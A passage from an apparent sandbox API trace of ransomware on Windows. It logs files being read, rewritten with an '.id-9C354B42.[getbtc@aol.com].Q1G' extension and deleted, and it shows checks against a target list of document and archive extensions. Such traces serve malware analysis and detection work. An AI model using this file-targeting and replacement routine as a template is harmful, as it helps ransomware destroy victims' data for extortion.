lpBuffer=0x3040020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesWritten=0x2a3fc9c*=0xea, lpOverlapped=0x0) returned 1 [0045.938] SetEndOfFile (hFile=0x194) returned 1 [0045.938] CloseHandle (hObject=0x194) returned 1 [0045.939] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.939] SetEndOfFile (hFile=0x200) returned 1 [0045.939] CloseHandle (hObject=0x200) returned 1 [0045.939] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0045.940] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif")) returned 1 [0045.940] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0045.940] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0045.940] lstrlenW (lpString=".doc") returned 4 [0045.940] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0045.940] lstrlenW (lpString=".docx") returned 5 [0045.940] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0045.940] lstrlenW (lpString=".pdf") returned 4 [0045.940] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0045.940] lstrlenW (lpString=".xls") returned 4 [0045.940] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0045.940] lstrlenW (lpString=".xlsx") returned 5 [0045.940] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0045.940] lstrlenW (lpString=".ppt") returned 4 [0045.940] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0045.940] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0045.940] lstrlenW (lpString=".zip") returned 4 [0045.940] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0045.940] lstrlenW (lpString=".rar") returned 4 [0045.940] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0045.940] lstrlenW (lpString=".bz2") returned 4 [0045.940] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0045.940] lstrlenW (lpString=".7z") returned 3 [0045.940] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0045.940] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0045.940] lstrlenW (lpString=".dbf") returned 4 [0045.941] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0045.941] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0045.941] lstrlenW (lpString=".1cd") returned 4 [0045.941] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0045.941] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0045.941] lstrlenW (lpString=".jpg") returned 4 [0045.941] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0045.941] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0045.941] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0045.941] lstrlenW (lpString=".doc") returned 4 [0046.442] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0046.442] lstrlenW (lpString=".docx") returned 5 [0046.442] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0046.442] lstrlenW (lpString=".pdf") returned 4 [0046.442] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0046.442] lstrlenW (lpString=".xls") returned 4 [0046.442] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0046.442] lstrlenW (lpString=".xlsx") returned 5 [0046.442] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0046.442] lstrlenW (lpString=".ppt") returned 4 [0046.442] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0046.443] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0046.443] lstrlenW (lpString=".zip") returned 4 [0046.443] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0046.443] lstrlenW (lpString=".rar") returned 4 [0046.443] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0046.443] lstrlenW (lpString=".bz2") returned 4 [0046.443] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0046.443] lstrlenW (lpString=".7z") returned 3 [0046.443] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0046.443] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0046.443] lstrlenW (lpString=".dbf") returned 4 [0046.443] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0046.443] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0046.443] lstrlenW (lpString=".1cd") returned 4 [0046.443] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0046.443] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0046.443] lstrlenW (lpString=".jpg") returned 4 [0046.443] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0046.443] lstrcmpiW (lpString1=".GIF", lpString2=".Q1G") returned -1 [0046.443] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0046.443] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0046.444] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x2a3ff1c | out: lpFileSize=0x2a3ff1c*=2552) returned 1 [0046.444] CloseHandle (hObject=0x210) returned 1 [0046.444] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif")) returned 0x20 [0046.444] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0046.444] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0046.444] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.444] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.444] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0047.211] GetLastError () returned 0x0 [0047.211] ReadFile (in: hFile=0x210, lpBuffer=0x3040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesRead=0x2a3fed4*=0x9f8, lpOverlapped=0x0) returned 1 [0047.213] WriteFile (in: hFile=0x1c8, lpBuffer=0x3040020*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesWritten=0x2a3fc9c*=0xa00, lpOverlapped=0x0) returned 1 [0047.214] ReadFile (in: hFile=0x210, lpBuffer=0x3040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesRead=0x2a3fed4*=0x0, lpOverlapped=0x0) returned 1 [0047.214] WriteFile (in: hFile=0x1c8, lpBuffer=0x3040020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesWritten=0x2a3fc9c*=0xea, lpOverlapped=0x0) returned 1 [0047.214] SetEndOfFile (hFile=0x1c8) returned 1 [0047.215] CloseHandle (hObject=0x1c8) returned 1 [0047.215] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.215] SetEndOfFile (hFile=0x210) returned 1 [0047.216] CloseHandle (hObject=0x210) returned 1 [0047.216] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0047.216] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif")) returned 1 [0047.217] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0047.217] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0047.217] lstrlenW (lpString=".doc") returned 4 [0047.217] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0047.217] lstrlenW (lpString=".docx") returned 5 [0047.217] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0047.217] lstrlenW (lpString=".pdf") returned 4 [0047.217] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0047.217] lstrlenW (lpString=".xls") returned 4 [0047.217] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0047.217] lstrlenW (lpString=".xlsx") returned 5 [0047.217] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0047.217] lstrlenW (lpString=".ppt") returned 4 [0047.217] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0047.217] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0047.217] lstrlenW (lpString=".zip") returned 4 [0047.217] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0047.217] lstrlenW (lpString=".rar") returned 4 [0047.217] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0047.217] lstrlenW (lpString=".bz2") returned 4 [0047.217] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0047.217] lstrlenW (lpString=".7z") returned 3 [0047.217] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0047.217] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0047.217] lstrlenW (lpString=".dbf") returned 4 [0047.217] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0047.217] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0047.217] lstrlenW (lpString=".1cd") returned 4 [0047.218] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0047.218] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0047.218] lstrlenW (lpString=".jpg") returned 4 [0047.218] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0047.218] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0047.218] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0047.218] lstrlenW (lpString=".doc") returned 4 [0047.218] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0047.218] lstrlenW (lpString=".docx") returned 5 [0047.218] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0047.218] lstrlenW (lpString=".pdf") returned 4 [0047.218] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0047.218] lstrlenW (lpString=".xls") returned 4 [0047.218] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0047.218] lstrlenW (lpString=".xlsx") returned 5 [0047.218] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0047.218] lstrlenW (lpString=".ppt") returned 4 [0047.218] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0047.218] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0047.218] lstrlenW (lpString=".zip") returned 4 [0047.218] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0047.218] lstrlenW (lpString=".rar") returned 4 [0047.218] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0047.218] lstrlenW (lpString=".bz2") returned 4 [0047.218] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0047.218] lstrlenW (lpString=".7z") returned 3 [0047.218] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0047.218] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0047.218] lstrlenW (lpString=".dbf") returned 4 [0047.219] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0047.219] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0047.219] lstrlenW (lpString=".1cd") returned 4 [0047.219] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0047.219] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0047.219] lstrlenW (lpString=".jpg") returned 4 [0047.219] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0047.219] lstrcmpiW (lpString1=".GIF", lpString2=".Q1G") returned -1 [0047.219] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0047.219] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0047.219] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x2a3ff1c | out: lpFileSize=0x2a3ff1c*=1232) returned 1 [0047.219] CloseHandle (hObject=0x210) returned 1 [0047.219] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif")) returned 0x20 [0047.220] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0047.220] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0047.220] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.220] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.220] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0047.222] GetLastError () returned 0x0 [0047.222] ReadFile (in: hFile=0x210, lpBuffer=0x3040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesRead=0x2a3fed4*=0x4d0, lpOverlapped=0x0) returned 1 [0047.223] WriteFile (in: hFile=0x184, lpBuffer=0x3040020*, nNumberOfBytesToWrite=0x4e0, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesWritten=0x2a3fc9c*=0x4e0, lpOverlapped=0x0) returned 1 [0047.224] ReadFile (in: hFile=0x210, lpBuffer=0x3040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesRead=0x2a3fed4*=0x0, lpOverlapped=0x0) returned 1 [0047.224] WriteFile (in: hFile=0x184, lpBuffer=0x3040020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesWritten=0x2a3fc9c*=0xea, lpOverlapped=0x0) returned 1 [0047.224] SetEndOfFile (hFile=0x184) returned 1 [0047.224] CloseHandle (hObject=0x184) returned 1 [0047.225] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.225] SetEndOfFile (hFile=0x210) returned 1 [0047.225] CloseHandle (hObject=0x210) returned 1 [0047.225] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0047.226] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif")) returned 1 [0047.226] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0047.226] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0047.226] lstrlenW (lpString=".doc") returned 4 [0047.226] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0047.226] lstrlenW (lpString=".docx") returned 5 [0047.226] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0047.226] lstrlenW (lpString=".pdf") returned 4 [0047.226] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0047.226] lstrlenW (lpString=".xls") returned 4 [0047.226] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0047.226] lstrlenW (lpString=".xlsx") returned 5 [0047.226] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0047.226] lstrlenW (lpString=".ppt") returned 4 [0047.226] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0047.226] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0047.226] lstrlenW (lpString=".zip") returned 4 [0047.226] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0047.226] lstrlenW (lpString=".rar") returned 4 [0047.226] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0047.226] lstrlenW (lpString=".bz2") returned 4 [0047.226] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0047.226] lstrlenW (lpString=".7z") returned 3 [0047.226] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0047.226] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0047.226] lstrlenW (lpString=".dbf") returned 4 [0047.226] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0047.227] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0047.227] lstrlenW (lpString=".1cd") returned 4 [0047.227] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0047.227] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0047.227] lstrlenW (lpString=".jpg") returned 4 [0047.227] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0047.227] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0047.227] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0047.227] lstrlenW (lpString=".doc") returned 4 [0047.227] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0047.227] lstrlenW (lpString=".docx") returned 5 [0047.227] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0047.227] lstrlenW (lpString=".pdf") returned 4 [0047.227] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0047.227] lstrlenW (lpString=".xls") returned 4 [0047.227] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0047.227] lstrlenW (lpString=".xlsx") returned 5 [0047.227] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0047.227] lstrlenW (lpString=".ppt") returned 4 [0047.227] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0047.227] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0047.227] lstrlenW (lpString=".zip") returned 4 [0047.227] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0047.227] lstrlenW (lpString=".rar") returned 4 [0047.227] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0047.227] lstrlenW (lpString=".bz2") returned 4 [0047.227] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0047.227] lstrlenW (lpString=".7z") returned 3 [0047.227] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0047.227] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0047.227] lstrlenW (lpString=".dbf") returned 4 [0047.227] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0047.227] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0047.228] lstrlenW (lpString=".1cd") returned 4 [0047.228] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0047.228] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0047.228] lstrlenW (lpString=".jpg") returned 4 [0047.228] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0047.228] lstrcmpiW (lpString1=".PNG", lpString2=".Q1G") returned -1 [0047.228] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0047.228] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0047.228] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x2a3ff1c | out: lpFileSize=0x2a3ff1c*=18413) returned 1 [0047.228] CloseHandle (hObject=0x210) returned 1 [0047.228] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png")) returned 0x20 [0047.228] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0047.228] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0047.228] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.229] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.229] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0047.229] GetLastError () returned 0x0 [0047.229] ReadFile (in: hFile=0x210, lpBuffer=0x3040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesRead=0x2a3fed4*=0x47ed, lpOverlapped=0x0) returned 1 [0047.231] WriteFile (in: hFile=0x184, lpBuffer=0x3040020*, nNumberOfBytesToWrite=0x47f0, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesWritten=0x2a3fc9c*=0x47f0, lpOverlapped=0x0) returned 1 [0047.232] ReadFile (in: hFile=0x210, lpBuffer=0x3040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesRead=0x2a3fed4*=0x0, lpOverlapped=0x0) returned 1 [0047.232] WriteFile (in: hFile=0x184, lpBuffer=0x3040020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: 